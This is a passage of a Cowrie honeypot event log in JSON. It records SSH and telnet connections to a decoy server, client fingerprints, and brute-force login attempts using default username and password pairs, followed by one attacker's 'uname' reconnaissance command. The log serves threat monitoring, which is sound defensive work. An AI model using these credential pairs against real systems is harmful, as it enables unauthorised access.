0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:30.187904Z","src_ip":"95.38.165.118","session":"af0b03bde6bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:30.731973Z","src_ip":"95.38.165.118","session":"af0b03bde6bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.11312246322632,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:31.815064Z","src_ip":"69.4.83.194","session":"3dd6ef093b36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":71.48387289047241,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:33.417023Z","src_ip":"178.128.93.180","session":"c00d05a71225","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.958078861236572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:33.615881Z","src_ip":"69.4.83.194","session":"22d8c82be22e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:33.858227Z","src_ip":"95.38.165.118","session":"af0b03bde6bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":48476,"dst_ip":"10.17.0.5","dst_port":22,"session":"509aa1d529bf","protocol":"ssh","message":"New connection: 38.93.206.2:48476 (10.17.0.5:22) [session: 509aa1d529bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:34.357515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:34.362234Z","src_ip":"38.93.206.2","session":"509aa1d529bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:34.421725Z","src_ip":"38.93.206.2","session":"509aa1d529bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123147","message":"login attempt [root/123147] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:34.607942Z","src_ip":"38.93.206.2","session":"509aa1d529bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:35.675842Z","src_ip":"38.93.206.2","session":"509aa1d529bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":35054,"dst_ip":"10.17.0.5","dst_port":22,"session":"97dfc135fbc0","protocol":"ssh","message":"New connection: 95.38.165.118:35054 (10.17.0.5:22) [session: 97dfc135fbc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:36.236631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:36.245587Z","src_ip":"95.38.165.118","session":"97dfc135fbc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:36.409104Z","src_ip":"95.38.165.118","session":"97dfc135fbc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":52430,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3659a4fecf4","protocol":"ssh","message":"New connection: 95.38.165.118:52430 (10.17.0.5:22) [session: d3659a4fecf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:40.749279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:40.753819Z","src_ip":"95.38.165.118","session":"d3659a4fecf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:40.930050Z","src_ip":"95.38.165.118","session":"d3659a4fecf4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:41.416844Z","src_ip":"95.38.165.118","session":"d3659a4fecf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:41.719682Z","src_ip":"95.38.165.118","session":"97dfc135fbc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:42.876302Z","src_ip":"95.38.165.118","session":"97dfc135fbc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.139.136.75","src_port":34758,"dst_ip":"10.17.0.5","dst_port":23,"session":"c576c70f36ac","protocol":"telnet","message":"New connection: 147.139.136.75:34758 (10.17.0.5:23) [session: c576c70f36ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:43.749578Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":44814,"dst_ip":"10.17.0.5","dst_port":22,"session":"07013e5383e3","protocol":"ssh","message":"New connection: 95.38.165.118:44814 (10.17.0.5:22) [session: 07013e5383e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:45.723591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:45.728059Z","src_ip":"95.38.165.118","session":"07013e5383e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:45.898342Z","src_ip":"95.38.165.118","session":"07013e5383e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:46.414570Z","src_ip":"95.38.165.118","session":"07013e5383e3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:48.129677Z","src_ip":"95.38.165.118","session":"d3659a4fecf4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:48.132388Z","src_ip":"95.38.165.118","session":"d3659a4fecf4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:48.293310Z","src_ip":"95.38.165.118","session":"d3659a4fecf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:48.298049Z","src_ip":"95.38.165.118","session":"d3659a4fecf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":34966,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba72c0c46102","protocol":"telnet","message":"New connection: 178.128.93.180:34966 (10.17.0.5:23) [session: ba72c0c46102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:50.916688Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":44828,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebddf3cc825d","protocol":"ssh","message":"New connection: 95.38.165.118:44828 (10.17.0.5:22) [session: ebddf3cc825d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:50.952342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:51.200453Z","src_ip":"95.38.165.118","session":"ebddf3cc825d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:51.205234Z","src_ip":"95.38.165.118","session":"ebddf3cc825d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:52.155675Z","src_ip":"95.38.165.118","session":"ebddf3cc825d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:53.773563Z","src_ip":"95.38.165.118","session":"ebddf3cc825d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55396,"dst_ip":"10.17.0.5","dst_port":22,"session":"efc41c141655","protocol":"ssh","message":"New connection: 95.38.165.118:55396 (10.17.0.5:22) [session: efc41c141655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:56.117529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:56.126350Z","src_ip":"95.38.165.118","session":"efc41c141655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:56.291713Z","src_ip":"95.38.165.118","session":"efc41c141655","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:23:56.809117Z","src_ip":"95.38.165.118","session":"efc41c141655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55416,"dst_ip":"10.17.0.5","dst_port":22,"session":"958d532f532b","protocol":"ssh","message":"New connection: 95.38.165.118:55416 (10.17.0.5:22) [session: 958d532f532b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:01.082422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:01.087500Z","src_ip":"95.38.165.118","session":"958d532f532b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":29016,"dst_ip":"10.17.0.5","dst_port":22,"session":"613cddd83a05","protocol":"ssh","message":"New connection: 87.251.64.176:29016 (10.17.0.5:22) [session: 613cddd83a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:01.256469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:01.261373Z","src_ip":"87.251.64.176","session":"613cddd83a05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:01.264800Z","src_ip":"95.38.165.118","session":"958d532f532b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:24:01.308487Z","src_ip":"95.38.165.118","session":"efc41c141655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521"